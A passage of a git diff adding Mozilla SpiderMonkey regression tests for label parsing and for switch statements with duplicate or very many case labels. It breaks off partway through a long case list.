+ reportCompare(expect, actual, summary + ': longSwitch');
+}
diff --git a/js/src/tests/non262/statements/regress-642975.js b/js/src/tests/non262/statements/regress-642975.js
new file mode 100644
index 0000000000..f6180e7e8f
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-642975.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var x = 0;
+var y = 1;
+var g = 1;
+
+var expect = "y";
+var actual;
+
+try {
+ eval("y: while (x) break\n/y/g.exec('y')");
+ actual = RegExp.lastMatch;
+} catch (e) {
+ actual = '' + e;
+}
+assertEq(actual, expect);
+
+try {
+ eval("y: while (x) continue\n/y/g.exec('y')");
+ actual = RegExp.lastMatch;
+} catch (e) {
+ actual = '' + e;
+}
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/statements/regress-74474-001.js b/js/src/tests/non262/statements/regress-74474-001.js
new file mode 100644
index 0000000000..8f722477e5
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-74474-001.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ *"switch() misbehaves with duplicated labels"
+ *
+ * See ECMA3 Section 12.11, "The switch Statement"
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Testing switch statements with duplicate labels';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+
+
+status = 'Section A of test: the string literal "1" as a duplicate label';
+actual = '';
+switch ('1')
+{
+case '1':
+ actual += 'a';
+case '1':
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+status = 'Section B of test: the numeric literal 1 as a duplicate label';
+actual = '';
+switch (1)
+{
+case 1:
+ actual += 'a';
+case 1:
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+status = 'Section C of test: the numeric literal 1 as a duplicate label, via a function parameter';
+tryThis(1);
+function tryThis(x)
+{
+ actual = '';
+
+ switch (x)
+ {
+ case x:
+ actual += 'a';
+ case x:
+ actual += 'b';
+ }
+}
+expect = 'ab';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statusitems[i];
+}
diff --git a/js/src/tests/non262/statements/regress-74474-002.js b/js/src/tests/non262/statements/regress-74474-002.js
new file mode 100644
index 0000000000..8d30de24f5
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-74474-002.js
@@ -0,0 +1,9060 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ * "switch() misbehaves with duplicated labels"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ * See ECMA3 Section 12.11, "The switch Statement"
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Test of switch statement that overflows the stack-allocated bitmap';
+var status = '(No duplicated labels)';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var x = 3;
+
+
+switch (x)
+{
+case 0:
+case 1:
+case 2:
+case 3:
+case 4:
+case 5:
+case 6:
+case 7:
+case 8:
+case 9:
+case 10:
+case 11:
+case 12:
+case 13:
+case 14:
+case 15:
+case 16:
+case 17:
+case 18:
+case 19:
+case 20:
+case 21:
+case 22:
+case 23:
+case 24:
+case 25:
+case 26:
+case 27:
+case 28:
+case 29:
+case 30:
+case 31:
+case 32:
+case 33:
+case 34:
+case 35:
+case 36:
+case 37:
+case 38:
+case 39:
+case 40:
+case 41:
+case 42:
+case 43:
+case 44:
+case 45:
+case 46:
+case 47:
+case 48:
+case 49:
+case 50:
+case 51:
+case 52:
+case 53:
+case 54:
+case 55:
+case 56:
+case 57:
+case 58:
+case 59:
+case 60:
+case 61:
+case 62:
+case 63:
+case 64:
+case 65:
+case 66:
+case 67:
+case 68:
+case 69:
+case 70:
+case 71:
+case 72:
+case 73:
+case 74:
+case 75:
+case 76:
+case 77:
+case 78:
+case 79:
+case 80:
+case 81:
+case 82:
+case 83:
+case 84:
+case 85:
+case 86:
+case 87:
+case 88:
+case 89:
+case 90:
+case 91:
+case 92:
+case 93:
+case 94:
+case 95:
+case 96:
+case 97:
+case 98:
+case 99:
+case 100:
+case 101:
+case 102:
+case 103:
+case 104:
+case 105:
+case 106:
+case 107:
+case 108:
+case 109:
+case 110:
+case 111:
+case 112:
+case 113:
+case 114:
+case 115:
+case 116:
+case 117:
+case 118:
+case 119:
+case 120:
+case 121:
+case 122:
+case 123:
+case 124:
+case 125:
+case 126:
+case 127:
+case 128:
+case 129:
+case 130:
+case 131:
+case 132:
+case 133:
+case 134:
+case 135:
+case 136:
+case 137:
+case 138:
+case 139:
+case 140:
+case 141:
+case 142:
+case 143:
+case 144:
+case 145:
+case 146:
+case 147:
+case 148:
+case 149:
+case 150:
+case 151:
+case 152:
+case 153:
+case 154:
+case 155:
+case 156:
+case 157:
+case 158:
+case 159:
+case 160:
+case 161:
+case 162:
+case 163:
+case 164:
+case 165:
+case 166:
+case 167:
+case 168:
+case 169:
+case 170:
+case 171:
+case 172:
+case 173:
+case 174:
+case 175:
+case 176:
+case 177:
+case 178:
+case 179:
+case 180:
+case 181:
+case 182:
+case 183:
+case 184:
+case 185:
+case 186:
+case 187:
+case 188:
+case 189:
+case 190:
+case 191:
+case 192:
+case 193:
+case 194:
+case 195:
+case 196:
+case 197:
+case 198:
+case 199:
+case 200:
+case 201:
+case 202:
+case 203:
+case 204:
+case 205:
+case 206:
+case 207:
+case 208:
+case 209:
+case 210:
+case 211:
+case 212:
+case 213:
+case 214:
+case 215:
+case 216:
+case 217:
+case 218:
+case 219:
+case 220:
+case 221:
+case 222:
+case 223:
+case 224:
+case 225:
+case 226:
+case 227:
+case 228:
+case 229:
+case 230:
+case 231:
+case 232:
+case 233:
+case 234:
+case 235:
+case 236:
+case 237:
+case 238:
+case 239:
+case 240:
+case 241:
+case 242:
+case 243:
+case 244:
+case 245:
+case 246:
+case 247:
+case 248:
+case 249:
+case 250:
+case 251:
+case 252:
+case 253:
+case 254:
+case 255:
+case 256:
+case 257:
+case 258:
+case 259:
+case 260:
+case 261:
+case 262:
+case 263:
+case 264:
+case 265:
+case 266:
+case 267:
+case 268:
+case 269:
+case 270:
+case 271:
+case 272:
+case 273:
+case 274:
+case 275:
+case 276:
+case 277:
+case 278:
+case 279:
+case 280:
+case 281:
+case 282:
+case 283:
+case 284:
+case 285:
+case 286:
+case 287:
+case 288:
+case 289:
+case 290:
+case 291:
+case 292:
+case 293:
+case 294:
+case 295:
+case 296:
+case 297:
+case 298:
+case 299:
+case 300:
+case 301:
+case 302:
+case 303:
+case 304:
+case 305:
+case 306:
+case 307:
+case 308:
+case 309:
+case 310:
+case 311:
+case 312:
+case 313:
+case 314:
+case 315:
+case 316:
+case 317:
+case 318:
+case 319:
+case 320:
+case 321:
+case 322:
+case 323:
+case 324:
+case 325:
+case 326:
+case 327:
+case 328:
+case 329:
+case 330:
+case 331:
+case 332:
+case 333:
+case 334:
+case 335:
+case 336:
+case 337:
+case 338:
+case 339:
+case 340:
+case 341:
+case 342:
+case 343:
+case 344:
+case 345:
+case 346:
+case 347:
+case 348:
+case 349:
+case 350:
+case 351:
+case 352:
+case 353:
+case 354:
+case 355:
+case 356:
+case 357:
+case 358:
+case 359:
+case 360:
+case 361:
+case 362:
+case 363:
+case 364:
+case 365:
+case 366:
+case 367:
+case 368:
+case 369:
+case 370:
+case 371:
+case 372:
+case 373:
+case 374:
+case 375:
+case 376:
+case 377:
+case 378:
+case 379:
+case 380:
+case 381:
+case 382:
+case 383:
+case 384:
+case 385:
+case 386:
+case 387:
+case 388:
+case 389:
+case 390:
+case 391:
+case 392:
+case 393:
+case 394:
+case 395:
+case 396:
+case 397:
+case 398:
+case 399:
+case 400:
+case 401:
+case 402:
+case 403:
+case 404:
+case 405:
+case 406:
+case 407:
+case 408:
+case 409:
+case 410:
+case 411:
+case 412:
+case 413:
+case 414:
+case 415:
+case 416:
+case 417:
+case 418:
+case 419:
+case 420:
+case 421:
+case 422:
+case 423:
+case 424:
+case 425:
+case 426:
+case 427:
+case 428:
+case 429:
+case 430:
+case 431:
+case 432:
+case 433:
+case 434:
+case 435:
+case 436:
+case 437:
+case 438:
+case 439:
+case 440:
+case 441:
+case 442:
+case 443:
+case 444:
+case 445:
+case 446:
+case 447:
+case 448:
+case 449:
+case 450:
+case 451:
+case 452:
+case 453:
+case 454:
+case 455:
+case 456:
+case 457:
+case 458:
+case 459:
+case 460:
+case 461:
+case 462:
+case 463:
+case 464:
+case 465:
+case 466:
+case 467:
+case 468:
+case 469:
+case 470:
+case 471:
+case 472:
+case 473:
+case 474:
+case 475:
+case 476:
+case 477:
+case 478:
+case 479:
+case 480:
+case 481:
+case 482:
+case 483:
+case 484:
+case 485:
+case 486:
+case 487:
+case 488:
+case 489:
+case 490:
+case 491:
+case 492:
+case 493:
+case 494:
+case 495:
+case 496:
+case 497:
+case 498:
+case 499:
+case 500:
+case 501:
+case 502:
+case 503:
+case 504:
+case 505:
+case 506:
+case 507:
+case 508:
+case 509:
+case 510:
+case 511:
+case 512:
+case 513:
+case 514:
+case 515:
+case 516:
+case 517:
+case 518:
+case 519:
+case 520:
+case 521:
+case 522:
+case 523:
+case 524:
+case 525:
+case 526:
+case 527:
+case 528:
+case 529:
+case 530:
+case 531:
+case 532:
+case 533:
+case 534:
+case 535:
+case 536:
+case 537:
+case 538:
+case 539:
+case 540:
+case 541:
+case 542:
+case 543:
+case 544:
+case 545:
+case 546:
+case 547:
+case 548:
+case 549:
+case 550:
+case 551:
+case 552:
+case 553:
+case 554:
+case 555:
+case 556:
+case 557:
+case 558:
+case 559:
+case 560:
+case 561:
+case 562:
+case 563:
+case 564:
+case 565:
+case 566:
+case 567:
+case 568:
+case 569:
+case 570:
+case 571:
+case 572:
+case 573:
+case 574:
+case 575:
+case 576:
+case 577:
+case 578:
+case 579:
+case 580:
+case 581:
+case 582:
+case 583:
+case 584:
+case 585:
+case 586:
+case 587:
+case 588:
+case 589:
+case 590:
+case 591:
+case 592:
+case 593:
+case 594:
+case 595:
+case 596:
+case 597:
+case 598:
+case 599:
+case 600:
+case 601:
+case 602:
+case 603:
+case 604:
+case 605:
+case 606:
+case 607:
+case 608:
+case 609:
+case 610:
+case 611:
+case 612:
+case 613:
+case 614:
+case 615:
+case 616:
+case 617:
+case 618:
+case 619:
+case 620:
+case 621:
+case 622:
+case 623:
+case 624:
+case 625:
+case 626:
+case 627:
+case 628:
+case 629:
+case 630:
+case 631:
+case 632:
+case 633:
+case 634:
+case 635:
+case 636:
+case 637:
+case 638:
+case 639:
+case 640:
+case 641:
+case 642:
+case 643:
+case 644:
+case 645:
+case 646:
+case 647:
+case 648:
+case 649:
+case 650:
+case 651:
+case 652:
+case 653:
+case 654:
+case 655:
+case 656:
+case 657:
+case 658:
+case 659:
+case 660:
+case 661:
+case 662:
+case 663:
+case 664:
+case 665:
+case 666:
+case 667:
+case 668:
+case 669:
+case 670:
+case 671:
+case 672:
+case 673:
+case 674:
+case 675:
+case 676:
+case 677:
+case 678:
+case 679:
+case 680:
+case 681:
+case 682:
+case 683:
+case 684:
+case 685:
+case 686:
+case 687:
+case 688:
+case 689:
+case 690:
+case 691:
+case 692:
+case 693:
+case 694:
+case 695:
+case 696:
+case 697:
+case 698:
+case 699:
+case 700:
+case 701:
+case 702:
+case 703:
+case 704:
+case 705:
+case 706:
+case 707:
+case 708:
+case 709:
+case 710:
+case 711:
+case 712:
+case 713:
+case 714:
+case 715:
+case 716:
+case 717:
+case 718:
+case 719:
+case 720:
+case 721:
+case 722:
+case 723:
+case 724:
+case 725:
+case 726:
+case 727:
+case 728:
+case 729:
+case 730:
+case 731:
+case 732:
+case 733:
+case 734:
+case 735:
+case 736:
+case 737:
+case 738:
+case 739:
+case 740:
+case 741:
+case 742:
+case 743:
+case 744:
+case 745:
+case 746:
+case 747:
+case 748:
+case 749:
+case 750:
+case 751:
+case 752:
+case 753:
+case 754:
+case 755:
+case 756:
+case 757:
+case 758:
+case 759:
+case 760:
+case 761:
+case 762:
+case 763:
+case 764:
+case 765:
+case 766:
+case 767:
+case 768:
+case 769:
+case 770:
+case 771:
+case 772:
+case 773:
+case 774:
+case 775:
+case 776:
+case 777:
+case 778:
+case 779:
+case 780:
+case 781:
+case 782:
+case 783:
+case 784:
+case 785:
+case 786:
+case 787:
+case 788:
+case 789:
+case 790:
+case 791:
+case 792:
+case 793:
+case 794:
+case 795:
+case 796:
+case 797:
+case 798:
+case 799:
+case 800:
+case 801:
+case 802:
+case 803:
+case 804:
+case 805:
+case 806:
+case 807:
+case 808:
+case 809:
+case 810:
+case 811:
+case 812:
+case 813:
+case 814:
+case 815:
+case 816:
+case 817:
+case 818:
+case 819:
+case 820:
+case 821:
+case 822:
+case 823:
+case 824:
+case 825:
+case 826:
+case 827:
+case 828:
+case 829:
+case 830:
+case 831:
+case 832:
+case 833:
+case 834:
+case 835:
+case 836:
+case 837:
+case 838:
+case 839:
+case 840:
+case 841:
+case 842:
+case 843:
+case 844:
+case 845:
+case 846:
+case 847:
+case 848:
+case 849:
+case 850:
+case 851:
+case 852:
+case 853:
+case 854:
+case 855:
+case 856:
+case 857:
+case 858:
+case 859:
+case 860:
+case 861:
+case 862:
+case 863:
+case 864:
+case 865:
+case 866:
+case 867:
+case 868:
+case 869:
+case 870:
+case 871:
+case 872:
+case 873:
+case 874:
+case 875:
+case 876:
+case 877:
+case 878:
+case 879:
+case 880:
+case 881:
+case 882:
+case 883:
+case 884:
+case 885:
+case 886:
+case 887:
+case 888:
+case 889:
+case 890:
+case 891:
+case 892:
+case 893:
+case 894:
+case 895:
+case 896:
+case 897:
+case 898:
+case 899:
+case 900:
+case 901:
+case 902:
+case 903:
+case 904:
+case 905:
+case 906:
+case 907:
+case 908:
+case 909:
+case 910:
+case 911:
+case 912:
+case 913:
+case 914:
+case 915:
+case 916:
+case 917:
+case 918:
+case 919:
+case 920:
+case 921:
+case 922:
+case 923:
+case 924:
+case 925:
+case 926:
+case 927:
+case 928:
+case 929:
+case 930:
+case 931:
+case 932:
+case 933:
+case 934:
+case 935:
+case 936:
+case 937:
+case 938:
+case 939:
+case 940:
+case 941:
+case 942:
+case 943:
+case 944:
+case 945:
+case 946:
+case 947:
+case 948:
+case 949:
+case 950:
+case 951:
+case 952:
+case 953:
+case 954:
+case 955:
+case 956:
+case 957:
+case 958:
+case 959:
+case 960:
+case 961:
+case 962:
+case 963:
+case 964:
+case 965:
+case 966:
+case 967:
+case 968:
+case 969:
+case 970:
+case 971:
+case 972:
+case 973:
+case 974:
+case 975:
+case 976:
+case 977:
+case 978:
+case 979:
+case 980:
+case 981:
+case 982:
+case 983:
+case 984:
+case 985:
+case 986:
+case 987:
+case 988:
+case 989:
+case 990:
+case 991:
+case 992:
+case 993:
+case 994:
+case 995:
+case 996:
+case 997:
+case 998:
+case 999:
+case 1000:
+case 1001:
+case 1002:
+case 1003:
+case 1004:
+case 1005:
+case 1006:
+case 1007:
+case 1008:
+case 1009:
+case 1010:
+case 1011:
+case 1012:
+case 1013:
+case 1014:
+case 1015:
+case 1016:
+case 1017:
+case 1018:
+case 1019:
+case 1020:
+case 1021:
+case 1022:
+case 1023:
+case 1024:
+case 1025:
+case 1026:
+case 1027:
+case 1028:
+case 1029:
+case 1030:
+case 1031:
+case 1032:
+case 1033:
+case 1034:
+case 1035:
+case 1036:
+case 1037:
+case 1038:
+case 1039:
+case 1040:
+case 1041:
+case 1042:
+case 1043:
+case 1044:
+case 1045:
+case 1046:
+case 1047:
+case 1048:
+case 1049:
+case 1050:
+case 1051:
+case 1052:
+case 1053:
+case 1054:
+case 1055:
+case 1056:
+case 1057:
+case 1058:
+case 1059:
+case 1060:
+case 1061:
+case 1062:
+case 1063:
+case 1064:
+case 1065:
+case 1066:
+case 1067:
+case 1068:
+case 1069:
+case 1070:
+case 1071:
+case 1072:
+case 1073:
+case 1074:
+case 1075:
+case 1076:
+case 1077:
+case 1078:
+case 1079:
+case 1080:
+case 1081:
+case 1082:
+case 1083:
+case 1084:
+case 1085:
+case 1086:
+case 1087:
+case 1088:
+case 1089:
+case 1090:
+case 1091:
+case 1092:
+case 1093:
+case 1094:
+case 1095:
+case 1096:
+case 1097:
+case 1098:
+case 1099:
+case 1100:
+case 1101:
+case 1102:
+case 1103:
+case 1104:
+case 1105:
+case 1106:
+case 1107:
+case 1108:
+case 1109:
+case 1110:
+case 1111:
+case 1112:
+case 1113:
+case 1114:
+case 1115:
+case 1116:
+case 1117:
+case 1118:
+case 1119:
+case 1120:
+case 1121:
+case 1122:
+case 1123:
+case 1124:
+case 1125:
+case 1126:
+case 1127:
+case 1128:
+case 1129:
+case 1130:
+case 1131:
+case 1132:
+case 1133:
+case 1134:
+case 1135:
+case 1136:
+case 1137:
+case 1138:
+case 1139:
+case 1140:
+case 1141:
+case 1142:
+case 1143:
+case 1144:
+case 1145:
+case 1146:
+case 1147:
+case 1148:
+case 1149:
+case 1150:
+case 1151:
+case 1152:
+case 1153:
+case 1154:
+case 1155:
+case 1156:
+case 1157:
+case 1158:
+case 1159:
+case 1160:
+case 1161:
+case 1162:
+case 1163:
+case 1164:
+case 1165:
+case 1166:
+case 1167:
+case 1168:
+case 1169:
+case 1170:
+case 1171:
+case 1172:
+case 1173:
+case 1174:
+case 1175:
+case 1176:
+case 1177:
+case 1178:
+case 1179:
+case 1180:
+case 1181:
+case 1182:
+case 1183:
+case 1184:
+case 1185:
+case 1186:
+case 1187:
+case 1188:
+case 1189:
+case 1190:
+case 1191:
+case 1192:
+case 1193:
+case 1194:
+case 1195:
+case 1196:
+case 1197:
+case 1198:
+case 1199:
+case 1200:
+case 1201:
+case 1202:
+case 1203:
+case 1204:
+case 1205:
+case 1206:
+case 1207:
+case 1208:
+case 1209:
+case 1210:
+case 1211:
+case 1212:
+case 1213:
+case 1214:
+case 1215:
+case 1216:
+case 1217:
+case 1218:
+case 1219:
+case 1220:
+case 1221:
+case 1222:
+case 1223:
+case 1224:
+case 1225:
+case 1226:
+case 1227:
+case 1228:
+case 1229:
+case 1230:
+case 1231:
+case 1232:
+case 1233:
+case 1234:
+case 1235:
+case 1236:
+case 1237:
+case 1238:
+case 1239:
+case 1240:
+case 1241:
+case 1242:
+case 1243:
+case 1244:
+case 1245:
+case 1246:
+case 1247:
+case 1248:
+case 1249:
+case 1250:
+case 1251:
+case 1252:
+case 1253:
+case 1254:
+case 1255:
+case 1256:
+case 1257:
+case 1258:
+case 1259:
+case 1260:
+case 1261:
+case 1262:
+case 1263:
+case 1264:
+case 1265:
+case 1266:
+case 1267:
+case 1268:
+case 1269:
+case 1270:
+case 1271:
+case 1272:
+case 1273:
+case 1274:
+case 1275:
+case 1276:
+case 1277:
+case 1278:
+case 1279:
+case 1280:
+case 1281:
+case 1282:
+case 1283:
+case 1284:
+case 1285:
+case 1286:
+case 1287:
+case 1288:
+case 1289:
+case 1290:
+case 1291:
+case 1292:
+case 1293:
+case 1294:
+case 1295:
+case 1296:
+case 1297:
+case 1298:
+case 1299:
+case 1300:
+case 1301:
+case 1302:
+case 1303:
+case 1304:
+case 1305:
+case 1306:
+case 1307:
+case 1308:
+case 1309:
+case 1310:
+case 1311:
+case 1312:
+case 1313:
+case 1314:
+case 1315:
+case 1316:
+case 1317:
+case 1318:
+case 1319:
+case 1320:
+case 1321:
+case 1322:
+case 1323:
+case 1324:
+case 1325:
+case 1326:
+case 1327:
+case 1328:
+case 1329:
+case 1330:
+case 1331:
+case 1332:
+case 1333:
+case 1334:
+case 1335:
+case 1336:
+case 1337:
+case 1338:
+case 1339:
+case 1340:
+case 1341:
+case 1342:
+case 1343:
+case 1344:
+case 1345:
+case 1346:
+case 1347:
+case 1348:
+case 1349:
+case 1350:
+case 1351:
+case 1352:
+case 1353:
+case 1354:
+case 1355:
+case 1356:
+case 1357:
+case 1358:
+case 1359:
+case 1360:
+case 1361:
+case 1362:
+case 1363:
+case 1364:
+case 1365:
+case 1366:
+case 1367:
+case 1368:
+case 1369:
+case 1370:
+case 1371:
+case 1372:
+case 1373:
+case 1374:
+case 1375:
+case 1376:
+case 1377:
+case 1378:
+case 1379:
+case 1380:
+case 1381:
+case 1382:
+case 1383:
+case 1384:
+case 1385:
+case 1386:
+case 1387:
+case 1388:
+case 1389:
+case 1390:
+case 1391:
+case 1392:
+case 1393:
+case 1394:
+case 1395:
+case 1396:
+case 1397:
+case 1398:
+case 1399:
+case 1400:
+case 1401:
+case 1402:
+case 1403:
+case 1404:
+case 1405:
+case 1406:
+case 1407:
+case 1408:
+case 1409:
+case 1410:
+case 1411:
+case 1412:
+case 1413:
+case 1414:
+case 1415:
+case 1416:
+case 1417:
+case 1418:
+case 1419:
+case 1420:
+case 1421:
+case 1422:
+case 1423:
+case 1424:
+case 1425:
+case 1426:
+case 1427:
+case 1428:
+case 1429:
+case 1430:
+case 1431:
+case 1432:
+case 1433:
+case 1434:
+case 1435:
+case 1436:
+case 1437:
+case 1438:
+case 1439:
+case 1440:
+case 1441:
+case 1442:
+case 1443:
+case 1444:
+case 1445:
+case 1446:
+case 1447:
+case 1448:
+case 1449:
+case 1450:
+case 1451:
+case 1452:
+case 1453:
+case 1454:
+case 1455:
+case 1456:
+case 1457:
+case 1458:
+case 1459:
+case 1460:
+case 1461:
+case 1462:
+case 1463:
+case 1464:
+case 1465:
+case 1466:
+case 1467:
+case 1468:
+case 1469:
+case 1470:
+case 1471:
+case 1472:
+case 1473:
+case 1474:
+case 1475:
+case 1476:
+case 1477:
+case 1478:
+case 1479:
+case 1480:
+case 1481:
+case 1482:
+case 1483:
+case 1484:
+case 1485:
+case 1486:
+case 1487:
+case 1488:
+case 1489:
+case 1490:
+case 1491:
+case 1492:
+case 1493:
+case 1494:
+case 1495:
+case 1496:
+case 1497:
+case 1498:
+case 1499:
+case 1500:
+case 1501:
+case 1502:
+case 1503:
+case 1504:
+case 1505:
+case 1506:
+case 1507:
+case 1508:
+case 1509:
+case 1510:
+case 1511:
+case 1512:
+case 1513:
+case 1514:
+case 1515:
+case 1516:
+case 1517:
+case 1518:
+case 1519:
+case 1520:
+case 1521:
+case 1522:
+case 1523:
+case 1524:
+case 1525:
+case 1526:
+case 1527:
+case 1528:
+case 1529:
+case 1530:
+case 1531:
+case 1532:
+case 1533:
+case 1534:
+case 1535:
+case 1536:
+case 1537:
+case 1538:
+case 1539:
+case 1540:
+case 1541:
+case 1542:
+case 1543:
+case 1544:
+case 1545:
+case 1546:
+case 1547:
+case 1548:
+case 1549:
+case 1550:
+case 1551:
+case 1552:
+case 1553:
+case 1554:
+case 1555:
+case 1556:
+case 1557:
+case 1558:
+case 1559:
+case 1560:
+case 1561:
+case 1562:
+case 1563:
+case 1564:
+case 1565:
+case 1566:
+case 1567:
+case 1568:
+case 1569:
+case 1570:
+case 1571:
+case 1572:
+case 1573:
+case 1574:
+case 1575:
+case 1576:
+case 1577:
+case 1578:
+case 1579:
+case 1580:
+case 1581:
+case 1582:
+case 1583:
+case 1584:
+case 1585:
+case 1586:
+case 1587:
+case 1588:
+case 1589:
+case 1590:
+case 1591:
+case 1592:
+case 1593:
+case 1594:
+case 1595:
+case 1596:
+case 1597:
+case 1598:
+case 1599:
+case 1600:
+case 1601:
+case 1602:
+case 1603:
+case 1604:
+case 1605:
+case 1606:
+case 1607:
+case 1608:
+case 1609:
+case 1610:
+case 1611:
+case 1612:
+case 1613:
+case 1614:
+case 1615:
+case 1616:
+case 1617:
+case 1618:
+case 1619:
+case 1620:
+case 1621:
+case 1622:
+case 1623:
+case 1624:
+case 1625:
+case 1626:
+case 1627:
+case 1628:
+case 1629:
+case 1630:
+case 1631:
+case 1632:
+case 1633:
+case 1634:
+case 1635:
+case 1636:
+case 1637:
+case 1638:
+case 1639:
+case 1640:
+case 1641:
+case 1642:
+case 1643:
+case 1644:
+case 1645:
+case 1646:
+case 1647:
+case 1648:
+case 1649:
+case 1650:
+case 1651:
+case 1652:
+case 1653:
+case 1654:
+case 1655:
+case 1656:
+case 1657:
+case 1658:
+case 1659:
+case 1660:
+case 1661:
+case 1662:
+case 1663:
+case 1664:
+case 1665:
+case 1666:
+case 1667:
+case 1668:
+case 1669:
+case 1670:
+case 1671:
+case 1672:
+case 1673:
+case 1674:
+case 1675:
+case 1676:
+case 1677:
+case 1678:
+case 1679:
+case 1680:
+case 1681:
+case 1682:
+case 1683:
+case 1684:
+case 1685:
+case 1686:
+case 1687:
+case 1688:
+case 1689:
+case 1690:
+case 1691:
+case 1692:
+case 1693:
+case 1694:
+case 1695:
+case 1696:
+case 1697:
+case 1698:
+case 1699:
+case 1700:
+case 1701:
+case 1702:
+case 1703:
+case 1704:
+case 1705:
+case 1706:
+case 1707:
+case 1708:
+case 1709:
+case 1710:
+case 1711:
+case 1712:
+case 1713:
+case 1714:
+case 1715:
+case 1716:
+case 1717:
+case 1718:
+case 1719:
+case 1720:
+case 1721:
+case 1722:
+case 1723:
+case 1724:
+case 1725:
+case 1726:
+case 1727:
+case 1728:
+case 1729:
+case 1730:
+case 1731:
+case 1732:
+case 1733:
+case 1734:
+case 1735:
+case 1736:
+case 1737:
+case 1738:
+case 1739:
+case 1740:
+case 1741:
+case 1742:
+case 1743:
+case 1744:
+case 1745:
+case 1746:
+case 1747:
+case 1748:
+case 1749:
+case 1750:
+case 1751:
+case 1752:
+case 1753:
+case 1754:
+case 1755:
+case 1756:
+case 1757:
+case 1758:
+case 1759:
+case 1760:
+case 1761:
+case 1762:
+case 1763:
+case 1764:
+case 1765:
+case 1766:
+case 1767:
+case 1768:
+case 1769:
+case 1770:
+case 1771:
+case 1772:
+case 1773:
+case 1774:
+case 1775:
+case 1776:
+case 1777:
+case 1778:
+case 1779:
+case 1780:
+case 1781:
+case 1782:
+case 1783:
+case 1784:
+case 1785:
+case 1786:
+case 1787:
+case 1788:
+case 1789:
+case 1790:
+case 1791:
+case 1792:
+case 1793:
+case 1794:
+case 1795:
+case 1796:
+case 1797:
+case 1798:
+case 1799:
+case 1800:
+case 1801:
+case 1802:
+case 1803:
+case 1804:
+case 1805:
+case 1806:
+case 1807:
+case 1808:
+case 1809:
+case 1810:
+case 1811:
+case 1812:
+case 1813:
+case 1814:
+case 1815:
+case 1816:
+case 1817:
+case 1818:
+case 1819:
+case 1820:
+case 1821:
+case 1822:
+case 1823:
+case 1824:
+case 1825:
+case 1826:
+case 1827:
+case 1828:
+case 1829:
+case 1830:
+case 1831:
+case 1832:
+case 1833:
+case 1834:
+case 1835:
+case 1836:
+case 1837:
+case 1838:
+case 1839:
+case 1840:
+case 1841:
+case 1842:
+case 1843:
+case 1844:
+case 1845:
+case 1846:
+case 1847:
+case 1848:
+case 1849:
+case 1850:
+case 1851:
+case 1852:
+case 1853:
+case 1854:
+case 1855:
+case 1856:
+case 1857:
+case 1858:
+case 1859:
+case 1860:
+case 1861:
+case 1862:
+case 1863:
+case 1864:
+case 1865:
+case 1866:
+case 1867:
+case 1868:
+case 1869:
+case 1870:
+case 1871:
+case 1872:
+case 1873:
+case 1874:
+case 1875:
+case 1876:
+case 1877:
+case 1878:
+case 1879:
+case 1880:
+case 1881:
+case 1882:
+case 1883:
+case 1884:
+case 1885:
+case 1886:
+case 1887:
+case 1888:
+case 1889:
+case 1890:
+case 1891:
+case 1892:
+case 1893:
+case 1894:
+case 1895:
+case 1896:
+case 1897:
+case 1898:
+case 1899:
+case 1900:
+case 1901:
+case 1902:
+case 1903:
+case 1904:
+case 1905:
+case 1906:
+case 1907:
+case 1908:
+case 1909:
+case 1910:
+case 1911:
+case 1912:
+case 1913:
+case 1914:
+case 1915:
+case 1916:
+case 1917:
+case 1918:
+case 1919:
+case 1920:
+case 1921:
+case 1922:
+case 1923:
+case 1924:
+case 1925:
+case 1926:
+case 1927:
+case 1928:
+case 1929:
+case 1930:
+case 1931:
+case 1932:
+case 1933:
+case 1934:
+case 1935:
+case 1936:
+case 1937:
+case 1938:
+case 1939:
+case 1940:
+case 1941:
+case 1942:
+case 1943:
+case 1944:
+case 1945:
+case 1946:
+case 1947:
+case 1948:
+case 1949:
+case 1950:
+case 1951:
+case 1952:
+case 1953:
+case 1954:
+case 1955:
+case 1956:
+case 1957:
+case 1958:
+case 1959:
+case 1960:
+case 1961:
+case 1962:
+case 1963:
+case 1964:
+case 1965:
+case 1966:
+case 1967:
+case 1968:
+case 1969:
+case 1970:
+case 1971:
+case 1972:
+case 1973:
+case 1974:
+case 1975:
+case 1976:
+case 1977:
+case 1978:
